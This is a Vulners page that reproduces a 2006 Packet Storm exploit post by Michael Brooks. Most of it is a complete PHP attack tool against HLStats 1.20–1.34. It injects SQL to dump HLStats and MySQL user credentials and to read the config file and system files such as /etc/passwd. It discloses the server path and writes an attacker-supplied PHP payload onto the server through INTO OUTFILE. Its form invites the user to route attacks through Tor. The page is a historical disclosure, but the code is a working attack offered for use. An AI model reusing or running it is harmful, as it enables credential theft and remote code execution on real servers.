Lucene search
K

hlstats-sql.txt

🗓️ 28 Dec 2006 00:00:00Reported by Michael BrooksType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 35 Views

HLStats security exploit with SQL Injection and Path Disclosur

Code
`Hlstats is more than 5 years old. HLstats has been downloaded more than 270,000 from http://sf.net. Nothing more than absolutely benign XSS has been reported for this application, until NOW.   
  
Merry Christmass,  
--Michael Brooks   
  
Homepage:  
http://sourceforge.net/projects/hlstats/  
  
-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
<br><b>  
<?php  
/*  
Live Exploit Code  
SQL Inection + Path Disclosure  
Affects HLStats HLStats <=1.34 and Hlstats >= 1.20  
works with magic_quotes_gpc=On  
by Michael Brooks  
*/  
  
print "<title>HLStats SQL Injection Exploit</title>  
<body bgcolor='#009900'>  
<font color='#FF0000'>  
<b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br><br>  
<center><b> <br>  
Welcome To HLstats Exploit code.<br><br>  
</b></center>   
<br>   
SQL Inection + Path Disclosure<br>  
Affects Hlstats >= 1.20 to HLStats <=1.34(current)<br>  
Tested on Linux and Windows<br>  
works with magic_quotes_gpc=On!<br>  
HLStats has gone though 5 years with no exploits so this is a Birthday Present!<br>  
Merry Christmass!<br>  
By Michael Brooks<br>  
<br>  
<b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br><br>  
";  
  
print "  
<form action='".$_SERVER['PHP_SELF']."' method='post'>  
<b>Target:</b><br>  
<input type='text' name='target' size=32><br>  
(hint: where the login form is. example: http://domain.com/path/hlstats.php )<br>  
<br><b>Proxy:</b>(ip:port or name:pass@ip:port)<br>  
<input type='text' name='proxy' size=32><br>  
(example: 127.0.0.1:8118 Use <a href='http://tor.eff.org'>Tor</a>+<a href='http://www.privoxy.org/'>Privoxy</a>. )<br>  
<br><br>  
If nothing is changed below this line then the exploit will attempt to get the database login information in plain text.  
<b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br><br>  
<H1>ATTACKS:</H1>  
<br>  
<b>Database Selects:</b><br>  
<br>  
OBTIAN HLStats logins:<br>  
<input type='submit' name='button' value='HLStats_Logins'>(Passwords are stored as MD5 hashs, use: <a href='http://www.milw0rm.com/cracker/insert.php'>Milw0rm's MD5 Cracker</a>)<br>  
  
OBTIAN mysql.user logins:<br>  
<input type='submit' name='button' value='Mysql_Logins'><br>  
<br>  
  
<br>  
<b>File IO:</b><br><br>  
<b>Path Disclosure</b><br>  
<input type='submit' name='button' value='Path'><br>  
<br>  
<b>Plain Text Database Login Information</b><br>  
<input type='submit' name='button' value='Read_Login'>  
(This will attempt to read the configuration file for hlstats and dump the PLAIN TEXT database login information.)<br>  
<br>  
<b>Read Other File</b><br>  
<input type='submit' name='button' value='Read_File'>  
<input type='text' name='read_file' size=50>  
<br>example: /etc/passwd<br>  
OR for windows based systems: C:\\\\WINDOWS\\\\repair\\\\sam<br>  
<br><b>attempt payload:</b>(WARNING, NO PROXY IS USED FOR UPLOADING PAYLOAD)<br>  
<input type='submit' name='button' value='Upload'>  
&lt?php <input type='text' name='payload' size=50>?&gt <br>  
example: system('netstat'); <br>  
  
</form>  
<br><b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br>  
";  
  
//generic http class  
class http{  
var $proxy_ip='', $proxy_port='', $proxy_name='', $proxy_pass='';  
  
function http_gpc_send($loc ,$cookie="", $postdata = "") {   
//overload function polymorphism between gets and posts  
$url=parse_url($loc);  
if(!isset($url['port'])){  
$url['port']=80;  
}  
//$ua=$_SERVER['HTTP_USER_AGENT'];  
$ua='GPC/.01';  
if($this->proxy_ip!=''&&$this->proxy_port!=''){  
$fp = pfsockopen( $this->proxy_ip, $this->proxy_port, &$errno, &$errstr, 120 );  
$url['path']=$url['host'].':'.$url['port'].$url['path'];  
}else{  
$fp = fsockopen( $url['host'], $url['port'], &$errno, &$errstr, 120 );  
}  
  
if( !$fp ) {  
print "$errstr ($errno)<br>\nn";  
} else {  
if( $postdata=='' ) {  
fputs( $fp, "GET ".$url['path']."?".$url['query']." HTTP/1.1\r\n" );  
} else {  
fputs( $fp, "POST ".$url['path']."?".$url['query']." HTTP/1.1\r\n" );  
}  
  
if($this->proxy_name!=''&&$this->proxy_pass!=''){  
fputs($fp, "Proxy-Authorization: Basic ".base64_encode($this->proxy_name.":".$this->proxy_pass)."\r\n\r\n");  
}  
  
fputs($fp, "Host: ".$url['host'].":".$url['port']."\r\n");  
fputs( $fp, "User-Agent: ".$ua."\r\n" );  
fputs( $fp, "Accept: text/plain\r\n" );  
fputs( $fp,"Connection: Close\r\n" );  
if($cookie!=''){   
fputs( $fp, "Cookie: ".$cookie."\r\n" );  
}  
if( $postdata!='' ) {  
$strlength = strlen( $postdata );  
fputs( $fp, "Content-type: application/x-www-form-urlencoded\r\n" );  
fputs( $fp, "Content-length: ".$strlength."\r\n\r\n" );  
fputs( $fp, $postdata);  
}  
fputs( $fp, "\n\n" );  
  
$output = "";  
while( !feof( $fp ) ) {  
$output .= fgets( $fp, 1024 );  
}  
fclose( $fp );  
}  
return $output;  
}  
  
function proxy($proxy){ //user:pass@ip:port  
$proxyAuth=explode('@',$proxy);  
if(isset($proxyAuth[1])){  
$login=explode(':',$proxyAuth[0]);  
$this->proxy_name=$login[0];  
$this->proxy_pass=$login[1];  
  
$addr=explode(':',$proxyAuth[1]);  
$this->proxy_ip=$addr[0];  
$this->proxy_port=$addr[1];  
}else{  
$addr=explode(':',$proxy);  
$this->proxy_ip=$addr[0];  
$this->proxy_port=$addr[1];  
}  
}  
  
function get($url, $cookie=''){  
return $this->http_gpc_send($url, $cookie);  
}  
  
function post($url, $cookie='', $post=''){  
return $this->http_gpc_send($url,$cookie,$post);  
}  
  
function getServer($url){  
$resp=$this->http_gpc_send($url);  
$header=explode("Server: ",$resp);  
$server=explode("\n",$header[1]);  
return $server[0];  
}  
}  
  
//reuseable functions  
function getPath($html){  
$path='';  
$resp=explode("array given in <b>",$html);  
if(isset($resp[1])){  
$resp = explode("</b>",$resp[1]);  
}else{  
$resp[0]=false;  
}  
return $resp[0];  
}  
  
function charEncode($string){  
$char="char(";  
$size=strlen($string);  
for($x=0;$x<$size;$x++){  
$char.=ord($string[$x]).", ";  
}  
$char[strlen($char)-2]=')%00';  
return $char;  
}  
  
function hex_encode($my_string)  
{  
$encoded="0x";  
for ($k=0; $k<=strlen($my_string)-1; $k++)  
{$temp=dechex(ord($my_string[$k]));  
if (strlen($temp)==1) {$temp="0".$temp;}  
$encoded.=$temp;  
}  
return $encoded;  
}   
  
  
//hlstats specific functions  
function hl_get_sql($resp){  
//print htmlspecialchars($resp);  
$tmp=explode('<table ',$resp);  
array_pop($tmp);  
$last=array_pop($tmp);  
$tbl=explode('</table>',$last);  
$table=$tbl[0];//ITS MY TABLE NOW!  
if(strstr($table,'Victim')&&strstr($table,'Times Killed')){  
$table=str_replace('border=0','border=1',$table);  
$table=str_replace('#002E8A','#000000',$table);  
$table=str_replace('#15154D','#CCCCCC',$table);  
$table=str_replace('#161652','#CCCCCC',$table);  
$table='<table '.$table.'</table>';  
}else{  
$table=false;  
}  
return $table;  
}  
  
function get_logins($addr){  
$http=new http();  
$data='';  
$resp=$http->get($addr."?mode=playerinfo&player=1&playerdata[lastName][]=1");  
$path=getPath($resp);  
$readfile=hex_encode($path);  
$pay="killLimit=99999%20union%20select%20load_file($readfile),1,1,1,1%20--%20";  
$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);  
  
$tmp=explode("define("DB_NAME", "",$resp);  
$tmp=explode(""",$tmp[1]);  
$data[db]=$tmp[0];  
  
$tmp=explode("define("DB_USER", "",$resp);  
$tmp=explode(""",$tmp[1]);  
$data[name]=$tmp[0];  
  
$tmp=explode("define("DB_PASS", "",$resp);  
$tmp=explode(""",$tmp[1]);  
$data[pass]=$tmp[0];  
  
$tmp=explode("define("DB_ADDR", "",$resp);  
$tmp=explode(""",$tmp[1]);  
$data[addr]=$tmp[0];  
  
$tmp=explode("define("DB_TYPE", "",$resp);  
$tmp=explode(""",$tmp[1]);  
$data[type]=$tmp[0];  
  
return $data;  
}  
  
//The table prefix is needed to union select the hlstats logins  
function get_prefix($attack){  
$prefix=false;  
$http=new http();  
//hex_encode is used instead of quote marks  
$payload="killLimit=1000%20union%20select%20TABLE_NAME,TABLE_SCHEMA,1,1,1%20from%20information_schema.TABLES%20WHERE%20TABLE_NAME%20LIKE%20".hex_encode("%events_playerplayeractions")."%23";  
$resp=$http->post($attack."?mode=playerinfo&player=1",'',$payload);  
$mid=explode('events_playerplayeractions',$resp);  
if(is_array($mid)){  
foreach($mid as $m){  
$pre= explode('>',$m);  
$fix=array_pop($pre);  
if(is_array($prefix)){  
if(!in_array($fix,$prefix)){  
$prefix[]=trim($fix);  
}  
}else if($prefix!=$fix){  
print($fix);  
$prefix[]=trim($fix);  
}  
}  
if(is_array($prefix)){  
$v=array_pop($prefix);  
if(trim($v)!='0'){//damn that zero!!  
array_push($prefix,$v);  
}  
}  
}else{  
$prefix=false;  
}  
return($prefix);  
}  
  
if(isset($_REQUEST['target'])&&$_REQUEST['target']!=''){  
//this exploit can take its sweet time.   
set_time_limit(0);  
$http=new http();  
$addr=explode('?',$_REQUEST['target']);  
$addr=$addr[0];  
if(isset($_REQUEST['proxy'])){  
$http->proxy($_REQUEST['proxy']);  
}   
  
switch($_REQUEST['button']){  
case 'HLStats_Logins':  
$table=false;  
$prefix=get_prefix($addr);  
//print_r($prefix);  
foreach($prefix as $pre){  
if(!$table){  
print "trying table prefix:$pre<br>";  
//no comments are used in this payload, instead a second union select is used to finnish the query.  
$pay="killLimit=1000%20union%20select%20username,password,acclevel,1,playerId%20from%20".$pre."Users%20UNION%20SELECT%201,1,1,1,1%20FROM%20".$pre."Players%20WHERE%201=0";  
$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);  
$table=hl_get_sql($resp);//   
}  
}  
if(!$table&&@!in_array('hlstats_',$prefix)){//ooah no the exploit has failed so far.   
$pre="hlstats_";//try the default prefix  
print "trying table prefix:$pre<br>";  
$pay="killLimit=1000%20union%20select%20username,password,acclevel,1,playerId%20from%20".$pre."Users%20UNION%20SELECT%201,1,1,1,1%20FROM%20".$pre."Players%20WHERE%201=0";  
$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);  
$table=hl_get_sql($resp);//   
}  
if($table){  
$table=str_replace('Victim','username',$table);  
$table=str_replace('Kills per Death','playerId',$table);  
$table=str_replace('Deaths by','acclevel',$table);  
$table=str_replace('Times Killed','password',$table);  
$table=str_replace('Rank','Count',$table);  
print "<br>$table";  
}  
break;  
case 'Mysql_Logins':  
//a comment is used so the table prefix doesn't have to be known; this is simpler, less to go wrong.   
$pay="killLimit=1000%20union%20select%20user,password,File_priv,1,Host%20%20from%20mysql.user%20--%20";  
$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);  
$table=hl_get_sql($resp);  
$table=str_replace('Victim','User',$table);  
$table=str_replace('Kills per Death','Host',$table);  
$table=str_replace('Deaths by','File_priv',$table);  
$table=str_replace('Times Killed','Password',$table);  
$table=str_replace('Rank','Count',$table);  
print "<br>$table";  
break;  
case 'Read_File':  
$readfile=hex_encode($_REQUEST[read_file]);  
$pay="killLimit=99999%20union%20select%20load_file($readfile),1,1,1,1%20--%20";  
$resp=$http->post($addr."?mode=playerinfo&player=1",'',$pay);   
$tmp=explode('alt="player.gif"><b>',$resp);  
$data=explode("</font>",$tmp[1]);  
$data=$data[0];  
//this might be a bad thing:  
$data=preg_replace('<br />','',$data);  
print 'data'.$data;   
break;  
case 'Path':  
$resp=$http->get($addr."?mode=playerinfo&player=1&playerdata[lastName][]=1");  
$path=getPath($resp );  
print "Path Disclosure:$path<br>";  
break;   
case 'Read_Login':  
$data=get_logins($addr);  
foreach($data as $var=>$val){  
$tmp=explode('&quot',$val);  
$data[$var]=$tmp[0];  
print "<br>".$var.":".$tmp[0];  
}   
break;  
case 'Upload':  
$resp=$http->get($addr."?mode=playerinfo&player=1&playerdata[lastName][]=1");  
$path=getPath($resp );  
$data=get_logins($addr);  
print $path."<br>";  
$tar=explode('/',$_REQUEST['target']);  
$paylink=$tar;  
array_pop($paylink);  
$paylink=implode('/',$paylink);  
if(strstr($path,':')){//if windows  
print "Windows Sytem<br>";  
$temp=explode('\\',$path);  
}else{//else *nix  
print "*nix System<br>";  
$temp=explode('/',$path);  
}  
array_pop($temp);  
$path=implode('/',$temp);  
mysql_connect($tar[2],$data[name],$data[pass]) or die(mysql_error());  
$name="data".rand();//rand is used so that this attack can be run multiple times.  
$sql="SELECT '<?php ".$_REQUEST[payload]."?>' INTO OUTFILE '$path/$name.php'";  
print "<br><a href='$paylink/$name.php'><b> Execute Payload </b></a>";  
mysql_query($sql) or die(mysql_error());  
break;  
default:  
print 'No Attack!';  
break;  
}  
}else{  
Print "No Target.";  
}  
?><br>--------------------------------------------------------------------------------------------------------------------------------------------><br>  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1.4.6 (MingW32)  
  
iD8DBQFFi1enhyEDRgETX6IRApvuAJ916+e3HP25HVSaCASKLXdLTTpMRQCfVb5X  
B1g0mZ8NVwQ6J7L8J0ge8Ak=  
=iZt1  
-----END PGP SIGNATURE-----  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation